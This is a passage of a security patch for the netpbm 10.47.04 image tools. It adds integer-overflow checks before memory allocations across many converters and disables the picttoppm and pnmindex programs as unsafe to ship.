             if ( len != cols * rows )
                 pm_message(
                     "pixel data length (%d) does not match image size (%d)",
diff -up netpbm-10.47.04/converter/ppm/Makefile.security netpbm-10.47.04/converter/ppm/Makefile
--- netpbm-10.47.04/converter/ppm/Makefile.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/Makefile	2009-10-21 15:09:33.000000000 +0200
@@ -11,7 +11,7 @@ SUBDIRS = hpcdtoppm ppmtompeg
 
 PORTBINARIES =	411toppm eyuvtoppm gouldtoppm ilbmtoppm imgtoppm \
 		leaftoppm mtvtoppm neotoppm \
-		pcxtoppm pc1toppm pi1toppm picttoppm pjtoppm \
+		pcxtoppm pc1toppm pi1toppm pjtoppm \
 		ppmtoacad ppmtoarbtxt \
 		ppmtobmp ppmtoeyuv ppmtogif ppmtoicr ppmtoilbm \
 		ppmtoleaf ppmtolj ppmtomitsu ppmtoneo \
diff -up netpbm-10.47.04/converter/ppm/pcxtoppm.c.security netpbm-10.47.04/converter/ppm/pcxtoppm.c
--- netpbm-10.47.04/converter/ppm/pcxtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/pcxtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -409,6 +409,7 @@ pcx_planes_to_pixels(pixels, bitplanes, 
     /*
      * clear the pixel buffer
      */
+    overflow2(bytesperline, 8);
     npixels = (bytesperline * 8) / bitsperpixel;
     p    = pixels;
     while (--npixels >= 0)
@@ -470,6 +471,7 @@ pcx_16col_to_ppm(FILE *       const ifP,
     }
 
     /*  BytesPerLine should be >= BitsPerPixel * cols / 8  */
+    overflow2(BytesPerLine, 8);
     rawcols = BytesPerLine * 8 / BitsPerPixel;
     if (headerCols > rawcols) {
         pm_message("warning - BytesPerLine = %d, "
diff -up netpbm-10.47.04/converter/ppm/picttoppm.c.security netpbm-10.47.04/converter/ppm/picttoppm.c
--- netpbm-10.47.04/converter/ppm/picttoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/picttoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -1,3 +1,5 @@
+#error "Unfixable. Don't ship me"
+
 /*
  * picttoppm.c -- convert a MacIntosh PICT file to PPM format.
  *
diff -up netpbm-10.47.04/converter/ppm/pjtoppm.c.security netpbm-10.47.04/converter/ppm/pjtoppm.c
--- netpbm-10.47.04/converter/ppm/pjtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/pjtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -127,19 +127,21 @@ main(argc, argv)
                 case 'V':   /* send plane */
                 case 'W':   /* send last plane */
                     if (rows == -1 || r >= rows || image == NULL) {
-                        if (rows == -1 || r >= rows)
+                        if (rows == -1 || r >= rows) {
+                            overflow_add(rows, 100);
                             rows += 100;
+                        }
                         if (image == NULL) {
-                            MALLOCARRAY(image, rows * planes);
-                            MALLOCARRAY(imlen, rows * planes);
+                            image = (unsigned char **)
+                                malloc3(rows , planes , sizeof(unsigned char *));
+                            imlen = (int *) malloc3(rows , planes,  sizeof(int));
                         }
                         else {
+                            overflow2(rows,planes);
                             image = (unsigned char **) 
-                                realloc(image, 
-                                        rows * planes * 
+                                realloc2(image, rows * planes,
                                         sizeof(unsigned char *));
-                            imlen = (int *) 
-                                realloc(imlen, rows * planes * sizeof(int));
+                            imlen = (int *) realloc2(imlen, rows * planes, sizeof(int));
                         }
                     }
                     if (image == NULL || imlen == NULL)
@@ -212,8 +214,10 @@ main(argc, argv)
                 for (i = 0, c = 0; c < imlen[p + r * planes]; c += 2)
                     for (cmd = image[p + r * planes][c],
                              val = image[p + r * planes][c+1]; 
-                         cmd >= 0 && i < newcols; cmd--, i++) 
+                         cmd >= 0 && i < newcols; cmd--, i++) {
                         buf[i] = val;
+                        overflow_add(i, 1);
+                    }
                 cols = cols > i ? cols : i;
                 free(image[p + r * planes]);
                 /* 
@@ -224,6 +228,7 @@ main(argc, argv)
                 image[p + r * planes] = (unsigned char *) realloc(buf, i);
             }
         }
+        overflow2(cols, 8);
         cols *= 8;
     }
             
diff -up netpbm-10.47.04/converter/ppm/ppmtoeyuv.c.security netpbm-10.47.04/converter/ppm/ppmtoeyuv.c
--- netpbm-10.47.04/converter/ppm/ppmtoeyuv.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoeyuv.c	2009-10-21 15:09:33.000000000 +0200
@@ -114,6 +114,7 @@ create_multiplication_tables(const pixva
 
     int index;
 
+    overflow_add(maxval, 1);
     MALLOCARRAY_NOFAIL(mult299   , maxval+1);
     MALLOCARRAY_NOFAIL(mult587   , maxval+1);
     MALLOCARRAY_NOFAIL(mult114   , maxval+1);
diff -up netpbm-10.47.04/converter/ppm/ppmtoicr.c.security netpbm-10.47.04/converter/ppm/ppmtoicr.c
--- netpbm-10.47.04/converter/ppm/ppmtoicr.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoicr.c	2009-10-21 15:09:33.000000000 +0200
@@ -169,7 +169,7 @@ char* argv[];
 
 	if (rleflag) {	
 		pm_message("sending run-length encoded picture data ..." );
-		testimage = (char*) malloc(rows*cols);
+		testimage = (char*) malloc2(rows, cols);
 		p = testimage;
 		for (i=0; i<rows; i++)
 			for (j=0; j<cols; j++) 
diff -up netpbm-10.47.04/converter/ppm/ppmtoilbm.c.security netpbm-10.47.04/converter/ppm/ppmtoilbm.c
--- netpbm-10.47.04/converter/ppm/ppmtoilbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoilbm.c	2009-10-21 15:47:50.000000000 +0200
@@ -1214,6 +1214,7 @@ ppm_to_rgb8(ifP, cols, rows, maxval)
 
     maskmethod = 0;     /* no masking - RGB8 uses genlock bits */
     compmethod = 4;     /* RGB8 files are always compressed */
+    overflow2(cols, 4);
     MALLOCARRAY_NOFAIL(compr_row, cols * 4);
 
     if( maxval != 255 ) {
@@ -1302,6 +1303,7 @@ ppm_to_rgbn(ifP, cols, rows, maxval)
 
     maskmethod = 0;     /* no masking - RGBN uses genlock bits */
     compmethod = 4;     /* RGBN files are always compressed */
+    overflow2(cols, 2);
     MALLOCARRAY_NOFAIL(compr_row, cols * 2);
 
     if( maxval != 15 ) {
@@ -1779,6 +1781,7 @@ make_val_table(oldmaxval, newmaxval)
     unsigned int i;
     int * table;
 
+    overflow_add(oldmaxval, 1);
     MALLOCARRAY_NOFAIL(table, oldmaxval + 1);
     for (i = 0; i <= oldmaxval; ++i)
         table[i] = ROUNDDIV(i * newmaxval, oldmaxval);
@@ -2283,8 +2286,11 @@ main(int argc, char ** argv) {
         MALLOCARRAY_NOFAIL(coded_rowbuf, RowBytes(cols));
         for (i = 0; i < RowBytes(cols); ++i)
             coded_rowbuf[i] = 0;
-        if (DO_COMPRESS)
+        if (DO_COMPRESS) {
+            overflow2(cols,2);
+            overflow_add(cols*2,2);
             MALLOCARRAY_NOFAIL(compr_rowbuf, WORSTCOMPR(RowBytes(cols)));
+	}
     }
     
     switch (mode) {
diff -up netpbm-10.47.04/converter/ppm/ppmtolj.c.security netpbm-10.47.04/converter/ppm/ppmtolj.c
--- netpbm-10.47.04/converter/ppm/ppmtolj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtolj.c	2009-10-21 15:09:33.000000000 +0200
@@ -181,7 +181,8 @@ int main(int argc, char *argv[]) {
 
     ppm_readppminit( ifp, &cols, &rows, &maxval, &format );
     pixelrow = ppm_allocrow( cols );
-
+    
+    overflow2(cols, 6);
     obuf = (unsigned char *) pm_allocrow(cols * 3, sizeof(unsigned char));
     cbuf = (unsigned char *) pm_allocrow(cols * 6, sizeof(unsigned char));
     if (mode == C_TRANS_MODE_DELTA)
diff -up netpbm-10.47.04/converter/ppm/ppmtomitsu.c.security netpbm-10.47.04/converter/ppm/ppmtomitsu.c
--- netpbm-10.47.04/converter/ppm/ppmtomitsu.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtomitsu.c	2009-10-21 15:48:30.000000000 +0200
@@ -685,6 +685,8 @@ main(int argc, char * argv[]) {
         medias = MSize_User;
 
     if (dpi300) {
+        overflow2(medias.maxcols, 2);
+        overflow2(medias.maxrows, 2);
         medias.maxcols *= 2;
         medias.maxrows *= 2;
     }
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c.security	2009-10-21 13:39:09.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c	2009-10-21 15:09:33.000000000 +0200
@@ -800,7 +800,8 @@ BlockComputeSNR(MpegFrame * const curren
     if (needs_init) {
         int ysz = (Fsize_y>>3) * sizeof(int32 *);
         int xsz = (Fsize_x>>3);
-    
+
+	overflow2((Fsize_y>>3), sizeof(int32 *));
         needs_init = FALSE;
         for (y=0; y<3; y++) {
             varDiff[y] = ratio[y] = total[y] = 0.0;
@@ -819,6 +820,7 @@ BlockComputeSNR(MpegFrame * const curren
             fprintf(stderr, "Out of memory in BlockComputeSNR\n");
             exit(-1);
         }
+	overflow2(xsz,4);
         for (y = 0; y < ySize[0]>>3; y++) {
             SignalY[y]  = (int32 *) calloc(xsz,4);
             SignalCr[y]  = (int32 *) calloc(xsz,4);
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c	2009-10-21 15:09:33.000000000 +0200
@@ -2161,7 +2161,9 @@ DecodeServer(int          const numInput
     const char * error;
 
     /* should keep list of port numbers to notify when frames become ready */
-
+  
+    overflow2(numInputFiles, sizeof(int));
+    overflow2(numInputFiles, sizeof(boolean));
     ready = (boolean *) calloc(numInputFiles, sizeof(boolean));
     waitMachine = (int *) calloc(numInputFiles, sizeof(int));
     waitPort = (int *) malloc(numMachines*sizeof(int));
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c	2009-10-21 15:09:33.000000000 +0200
@@ -216,7 +216,14 @@ SetSearchRange(int const pixelsP, int co
         int const max_search = max(searchRangeP, searchRangeB);
 
         int index;
-    
+
+        overflow2(searchRangeP, 2);
+        overflow2(searchRangeB, 2);
+        overflow_add(searchRangeP*2, 3);
+        overflow_add(searchRangeB*2, 3);
+        overflow2(2*searchRangeB+3, sizeof(int));
+        overflow2(2*searchRangeP+3, sizeof(int));
+
         pmvHistogram = (int **) malloc((2*searchRangeP+3)*sizeof(int *));
         bbmvHistogram = (int **) malloc((2*searchRangeB+3)*sizeof(int *));
         bfmvHistogram = (int **) malloc((2*searchRangeB+3)*sizeof(int *));
@@ -800,6 +807,9 @@ ShowPMVHistogram(fpointer)
     int *columnTotals;
     int rowTotal;
 
+    overflow2(searchRangeP, 2);
+    overflow_add(searchRangeP*2,  3);
+    overflow2(searchRangeP*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeP+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
@@ -847,6 +857,9 @@ ShowBBMVHistogram(fpointer)
 
     fprintf(fpointer, "B-frame Backwards:\n");
 
+    overflow2(searchRangeB, 2);
+    overflow_add(searchRangeB*2,  3);
+    overflow2(searchRangeB*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeB+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
@@ -894,6 +907,9 @@ ShowBFMVHistogram(fpointer)
 
     fprintf(fpointer, "B-frame Forwards:\n");
 
+    overflow2(searchRangeB, 2);
+    overflow_add(searchRangeB*2,  3);
+    overflow2(searchRangeB*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeB+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c	2009-10-21 15:09:33.000000000 +0200
@@ -72,6 +72,8 @@ compute_mult_tables(const pixval maxval)
         } 
         table_maxval = maxval;
 
+	overflow_add(table_maxval, 1);
+	overflow2(table_maxval+1, sizeof(float));
         mult299   = malloc((table_maxval+1)*sizeof(float));
         mult587   = malloc((table_maxval+1)*sizeof(float));
         mult114   = malloc((table_maxval+1)*sizeof(float));
diff -up netpbm-10.47.04/converter/ppm/ppmtopcx.c.security netpbm-10.47.04/converter/ppm/ppmtopcx.c
--- netpbm-10.47.04/converter/ppm/ppmtopcx.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopcx.c	2009-10-21 15:09:33.000000000 +0200
@@ -419,6 +419,8 @@ ppmTo16ColorPcx(pixel **            cons
             else                   Planes = 1;
         }
     }
+    overflow2(BitsPerPixel, cols);
+    overflow_add(BitsPerPixel * cols, 7);
     BytesPerLine = ((cols * BitsPerPixel) + 7) / 8;
     MALLOCARRAY_NOFAIL(indexRow, cols);
     MALLOCARRAY_NOFAIL(planesrow, BytesPerLine);
diff -up netpbm-10.47.04/converter/ppm/ppmtopict.c.security netpbm-10.47.04/converter/ppm/ppmtopict.c
--- netpbm-10.47.04/converter/ppm/ppmtopict.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopict.c	2009-10-21 15:09:33.000000000 +0200
@@ -245,6 +245,8 @@ char *argv[];
 	putShort(stdout, 0);			/* mode */
 
 	/* Finally, write out the data. */
+	overflow_add(cols/MAX_COUNT, 1);
+        overflow_add(cols, cols/MAX_COUNT+1);
 	packed = (char*) malloc((unsigned)(cols+cols/MAX_COUNT+1));
 	oc = 0;
 	for (row = 0; row < rows; row++)
diff -up netpbm-10.47.04/converter/ppm/ppmtopj.c.security netpbm-10.47.04/converter/ppm/ppmtopj.c
--- netpbm-10.47.04/converter/ppm/ppmtopj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopj.c	2009-10-21 15:09:33.000000000 +0200
@@ -179,6 +179,7 @@ char *argv[];
 	pixels = ppm_readppm( ifp, &cols, &rows, &maxval );
 
 	pm_close( ifp );
+	overflow2(cols,2);
 	obuf = (unsigned char *) pm_allocrow(cols, sizeof(unsigned char));
 	cbuf = (unsigned char *) pm_allocrow(cols * 2, sizeof(unsigned char));
 
diff -up netpbm-10.47.04/converter/ppm/ppmtopjxl.c.security netpbm-10.47.04/converter/ppm/ppmtopjxl.c
--- netpbm-10.47.04/converter/ppm/ppmtopjxl.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopjxl.c	2009-10-21 15:43:31.000000000 +0200
@@ -276,6 +276,8 @@ main(int argc, const char * argv[]) {
         pm_error("image too large; reduce with ppmscale");
     if (maxval > PCL_MAXVAL)
         pm_error("color range too large; reduce with ppmcscale");
+    if (cols < 0 || rows < 0)
+        pm_error("negative size is not possible");
 
     /* Figure out the colormap. */
     pm_message("Computing colormap...");
@@ -296,6 +298,8 @@ main(int argc, const char * argv[]) {
         case 0: /* direct mode (no palette) */
             bpp = bitsperpixel(maxval); /* bits per pixel */
             bpg = bpp; bpb = bpp;
+	    overflow2(bpp, 3);
+	    overflow_add(bpp*3, 7);
             bpp = (bpp*3+7)>>3;     /* bytes per pixel now */
             bpr = (bpp<<3)-bpg-bpb; 
             bpp *= cols;            /* bytes per row now */
@@ -305,9 +309,13 @@ main(int argc, const char * argv[]) {
         case 3: case 7: pclindex++;
         default:
             bpp = 8/pclindex;
+	    overflow_add(cols, bpp);
+	    if(bpp == 0)
+		pm_error("assert: no bpp");
             bpp = (cols+bpp-1)/bpp;      /* bytes per row */
         }
     }
+    overflow2(bpp,2);
     inrow = (char *)malloc((unsigned)bpp);
     outrow = (char *)malloc((unsigned)bpp*2);
     runcnt = (signed char *)malloc((unsigned)bpp);
diff -up netpbm-10.47.04/converter/ppm/ppmtowinicon.c.security netpbm-10.47.04/converter/ppm/ppmtowinicon.c
--- netpbm-10.47.04/converter/ppm/ppmtowinicon.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtowinicon.c	2009-10-21 15:44:54.000000000 +0200
@@ -12,6 +12,7 @@
 
 #include <math.h>
 #include <string.h>
+#include <stdlib.h>
 
 #include "pm_c_util.h"
 #include "winico.h"
@@ -219,6 +220,7 @@ createAndBitmap (gray ** const ba, int c
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
    for (y=0;y<rows;y++) {
       u1 * row;
@@ -347,6 +349,7 @@ create4Bitmap (pixel ** const pa, int co
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
 
    for (y=0;y<rows;y++) {
@@ -407,6 +410,7 @@ create8Bitmap (pixel ** const pa, int co
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
 
    for (y=0;y<rows;y++) {
@@ -714,6 +718,10 @@ addEntryToIcon(MS_Ico       const MSIcon
     entry->bitcount      = bpp;
     entry->ih            = createInfoHeader(entry, xorBitmap, andBitmap);
     entry->colors        = palette->colors;
+    overflow2(4, entry->color_count);
+    overflow_add(xorBitmap->size, andBitmap->size);
+    overflow_add(xorBitmap->size + andBitmap->size, 40);
+    overflow_add(xorBitmap->size + andBitmap->size + 40, 4 * entry->color_count);
     entry->size_in_bytes = 
         xorBitmap->size + andBitmap->size + 40 + (4 * entry->color_count);
     if (verbose) 
diff -up netpbm-10.47.04/converter/ppm/ppmtoxpm.c.security netpbm-10.47.04/converter/ppm/ppmtoxpm.c
--- netpbm-10.47.04/converter/ppm/ppmtoxpm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoxpm.c	2009-10-21 15:09:33.000000000 +0200
@@ -197,6 +197,7 @@ genNumstr(unsigned int const input, int 
     unsigned int i;
 
     /* Allocate memory for printed number.  Abort if error. */
+    overflow_add(digits, 1);
     if (!(str = (char *) malloc(digits + 1)))
         pm_error("out of memory");
 
@@ -314,6 +315,7 @@ genCmap(colorhist_vector const chv, 
     unsigned int charsPerPixel;
     unsigned int xpmMaxval;
     
+    if (includeTransparent) overflow_add(ncolors, 1);
     MALLOCARRAY(cmap, cmapSize);
     if (cmapP == NULL)
         pm_error("Out of memory allocating %u bytes for a color map.",
diff -up netpbm-10.47.04/converter/ppm/qrttoppm.c.security netpbm-10.47.04/converter/ppm/qrttoppm.c
--- netpbm-10.47.04/converter/ppm/qrttoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/qrttoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -46,7 +46,7 @@ main( argc, argv )
 
     ppm_writeppminit( stdout, cols, rows, maxval, 0 );
     pixelrow = ppm_allocrow( cols );
-    buf = (unsigned char *) malloc( 3 * cols );
+    buf = (unsigned char *) malloc2( 3 , cols );
     if ( buf == (unsigned char *) 0 )
 	pm_error( "out of memory" );
 
diff -up netpbm-10.47.04/converter/ppm/sldtoppm.c.security netpbm-10.47.04/converter/ppm/sldtoppm.c
--- netpbm-10.47.04/converter/ppm/sldtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/sldtoppm.c	2009-10-21 15:44:11.000000000 +0200
@@ -455,6 +455,8 @@ slider(slvecfn   slvec,
     
     /* Allocate image buffer and clear it to black. */
     
+    overflow_add(ixdots,1);
+    overflow_add(iydots,1);
     pixels = ppm_allocarray(pixcols = ixdots + 1, pixrows = iydots + 1);
     PPM_ASSIGN(rgbcolor, 0, 0, 0);
     ppmd_filledrectangle(pixels, pixcols, pixrows, pixmaxval, 0, 0,
diff -up netpbm-10.47.04/converter/ppm/ximtoppm.c.security netpbm-10.47.04/converter/ppm/ximtoppm.c
--- netpbm-10.47.04/converter/ppm/ximtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ximtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -117,6 +117,7 @@ ReadXimHeader(FILE *     const in_fp,
     header->bits_channel = atoi(a_head.bits_per_channel);
     header->alpha_flag = atoi(a_head.alpha_channel);
     if (strlen(a_head.author)) {
+    	overflow_add(strlen(a_head.author),1);
         if (!(header->author = calloc((unsigned int)strlen(a_head.author)+1,
                 1))) {
             pm_message("ReadXimHeader: can't calloc author string" );
@@ -126,6 +127,7 @@ ReadXimHeader(FILE *     const in_fp,
         strncpy(header->author, a_head.author, strlen(a_head.author));
     }
     if (strlen(a_head.date)) {
+        overflow_add(strlen(a_head.date),1);
         if (!(header->date =calloc((unsigned int)strlen(a_head.date)+1,1))){
             pm_message("ReadXimHeader: can't calloc date string" );
             return(0);
@@ -134,6 +136,7 @@ ReadXimHeader(FILE *     const in_fp,
         strncpy(header->date, a_head.date, strlen(a_head.date));
     }
     if (strlen(a_head.program)) {
+        overflow_add(strlen(a_head.program),1);
         if (!(header->program = calloc(
                     (unsigned int)strlen(a_head.program) + 1, 1))) {
             pm_message("ReadXimHeader: can't calloc program string" );
@@ -160,6 +163,7 @@ ReadXimHeader(FILE *     const in_fp,
     if (header->nchannels == 3 && header->bits_channel == 8)
         header->ncolors = 0;
     else if (header->nchannels == 1 && header->bits_channel == 8) {
+	overflow2(header->ncolors, sizeof(Color));
         header->colors = (Color *)calloc((unsigned int)header->ncolors,
                 sizeof(Color));
         if (header->colors == NULL) {
diff -up netpbm-10.47.04/converter/ppm/xpmtoppm.c.security netpbm-10.47.04/converter/ppm/xpmtoppm.c
--- netpbm-10.47.04/converter/ppm/xpmtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/xpmtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -701,6 +701,7 @@ ReadXPMFile(FILE * const stream, int * c
                        &ncolors, colorsP, &ptab);
         *transparentP = -1;  /* No transparency in version 1 */
     }
+    overflow2(*widthP, *heightP);
     totalpixels = *widthP * *heightP;
     MALLOCARRAY(*dataP, totalpixels);
     if (*dataP == NULL)
diff -up netpbm-10.47.04/converter/ppm/yuvtoppm.c.security netpbm-10.47.04/converter/ppm/yuvtoppm.c
--- netpbm-10.47.04/converter/ppm/yuvtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/yuvtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -72,6 +72,7 @@ main(argc, argv)
 
 	ppm_writeppminit(stdout, cols, rows, (pixval) 255, 0);
 	pixrow = ppm_allocrow(cols);
+    overflow_add(cols, 1);
     MALLOCARRAY(yuvbuf, (cols+1)/2);
     if (yuvbuf == NULL)
         pm_error("Unable to allocate YUV buffer for %d columns.", cols);
diff -up netpbm-10.47.04/editor/pamcut.c.security netpbm-10.47.04/editor/pamcut.c
--- netpbm-10.47.04/editor/pamcut.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pamcut.c	2009-10-21 15:29:36.000000000 +0200
@@ -655,6 +655,8 @@ cutOneImage(FILE *             const ifP
 
     outpam = inpam;    /* Initial value -- most fields should be same */
     outpam.file   = ofP;
+    overflow_add(rightcol, 1);
+    overflow_add(bottomrow, 1);
     outpam.width  = rightcol - leftcol + 1;
     outpam.height = bottomrow - toprow + 1;
 
diff -up netpbm-10.47.04/editor/pbmpscale.c.security netpbm-10.47.04/editor/pbmpscale.c
--- netpbm-10.47.04/editor/pbmpscale.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pbmpscale.c	2009-10-21 15:27:21.000000000 +0200
@@ -110,6 +110,7 @@ main(int argc, char ** argv) {
     inrow[0] = inrow[1] = inrow[2] = NULL;
     pbm_readpbminit(ifP, &columns, &rows, &format) ;
 
+    overflow2(columns, scale);
     outrow = pbm_allocrow(columns*scale) ;
     MALLOCARRAY(flags, columns);
     if (flags == NULL) 
diff -up netpbm-10.47.04/editor/pbmreduce.c.security netpbm-10.47.04/editor/pbmreduce.c
--- netpbm-10.47.04/editor/pbmreduce.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pbmreduce.c	2009-10-21 15:26:13.000000000 +0200
@@ -94,6 +94,7 @@ main( argc, argv )
     if (halftone == QT_FS) {
         unsigned int col;
         /* Initialize Floyd-Steinberg. */
+        overflow_add(newcols, 2);
         MALLOCARRAY(thiserr, newcols + 2);
         MALLOCARRAY(nexterr, newcols + 2);
         if (thiserr == NULL || nexterr == NULL)
diff -up netpbm-10.47.04/editor/pnmgamma.c.security netpbm-10.47.04/editor/pnmgamma.c
--- netpbm-10.47.04/editor/pnmgamma.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmgamma.c	2009-10-21 15:09:34.000000000 +0200
@@ -586,6 +586,7 @@ createGammaTables(enum transferFunction 
                   xelval **             const btableP) {
 
     /* Allocate space for the tables. */
+    overflow_add(maxval, 1);
     MALLOCARRAY(*rtableP, maxval+1);
     MALLOCARRAY(*gtableP, maxval+1);
     MALLOCARRAY(*btableP, maxval+1);
diff -up netpbm-10.47.04/editor/pnmhisteq.c.security netpbm-10.47.04/editor/pnmhisteq.c
--- netpbm-10.47.04/editor/pnmhisteq.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmhisteq.c	2009-10-21 15:09:34.000000000 +0200
@@ -103,6 +103,7 @@ computeLuminosityHistogram(xel * const *
     unsigned int pixelCount;
     unsigned int * lumahist;
 
+    overflow_add(maxval, 1);
     MALLOCARRAY(lumahist, maxval + 1);
     if (lumahist == NULL)
         pm_error("Out of storage allocating array for %u histogram elements",
diff -up netpbm-10.47.04/editor/pnmindex.csh.security netpbm-10.47.04/editor/pnmindex.csh
--- netpbm-10.47.04/editor/pnmindex.csh.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmindex.csh	2009-10-21 15:09:34.000000000 +0200
@@ -1,5 +1,8 @@
 #!/bin/csh -f
 #
+echo "Unsafe code, needs debugging, do not ship"
+exit 1
+#
 # pnmindex - build a visual index of a bunch of anymaps
 #
 # Copyright (C) 1991 by Jef Poskanzer.
diff -up netpbm-10.47.04/editor/pnmpad.c.security netpbm-10.47.04/editor/pnmpad.c
--- netpbm-10.47.04/editor/pnmpad.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmpad.c	2009-10-21 15:33:51.000000000 +0200
@@ -527,6 +527,8 @@ main(int argc, const char ** argv) {
 
     computePadSizes(cmdline, cols, rows, &lpad, &rpad, &tpad, &bpad);
 
+    overflow_add(cols, lpad);
+    overflow_add(cols + lpad, rpad);
     newcols = cols + lpad + rpad;
 
     if (PNM_FORMAT_TYPE(format) == PBM_TYPE)
diff -up netpbm-10.47.04/editor/pnmpaste.c.security netpbm-10.47.04/editor/pnmpaste.c
diff -up netpbm-10.47.04/editor/pnmremap.c.security netpbm-10.47.04/editor/pnmremap.c
--- netpbm-10.47.04/editor/pnmremap.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmremap.c	2009-10-21 15:28:20.000000000 +0200
@@ -408,7 +408,7 @@ initFserr(struct pam *   const pamP,
     unsigned int plane;
 
     unsigned int const fserrSize = pamP->width + 2;
-
+    overflow_add(pamP->width, 2);
     fserrP->width = pamP->width;
 
     MALLOCARRAY(fserrP->thiserr, pamP->depth);
@@ -444,6 +444,7 @@ floydInitRow(struct pam * const pamP, st
 
     int col;
     
+    overflow_add(pamP->width, 2);
     for (col = 0; col < pamP->width + 2; ++col) {
         unsigned int plane;
         for (plane = 0; plane < pamP->depth; ++plane) 
diff -up netpbm-10.47.04/editor/pnmscalefixed.c.security netpbm-10.47.04/editor/pnmscalefixed.c
--- netpbm-10.47.04/editor/pnmscalefixed.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmscalefixed.c	2009-10-21 15:09:34.000000000 +0200
@@ -211,6 +211,8 @@ compute_output_dimensions(const struct c
                           const int rows, const int cols,
                           int * newrowsP, int * newcolsP) {
 
+    overflow2(rows, cols);
+
     if (cmdline.pixels) {
         if (rows * cols <= cmdline.pixels) {
             *newrowsP = rows;
@@ -262,6 +264,8 @@ compute_output_dimensions(const struct c
 
     if (*newcolsP < 1) *newcolsP = 1;
     if (*newrowsP < 1) *newrowsP = 1;
+    
+    overflow2(*newcolsP, *newrowsP);
 }        
 
 
@@ -443,6 +447,9 @@ main(int argc, char **argv ) {
        unfilled.  We can address that by stretching, whereas the other
        case would require throwing away some of the input.
     */
+    
+    overflow2(newcols, SCALE);
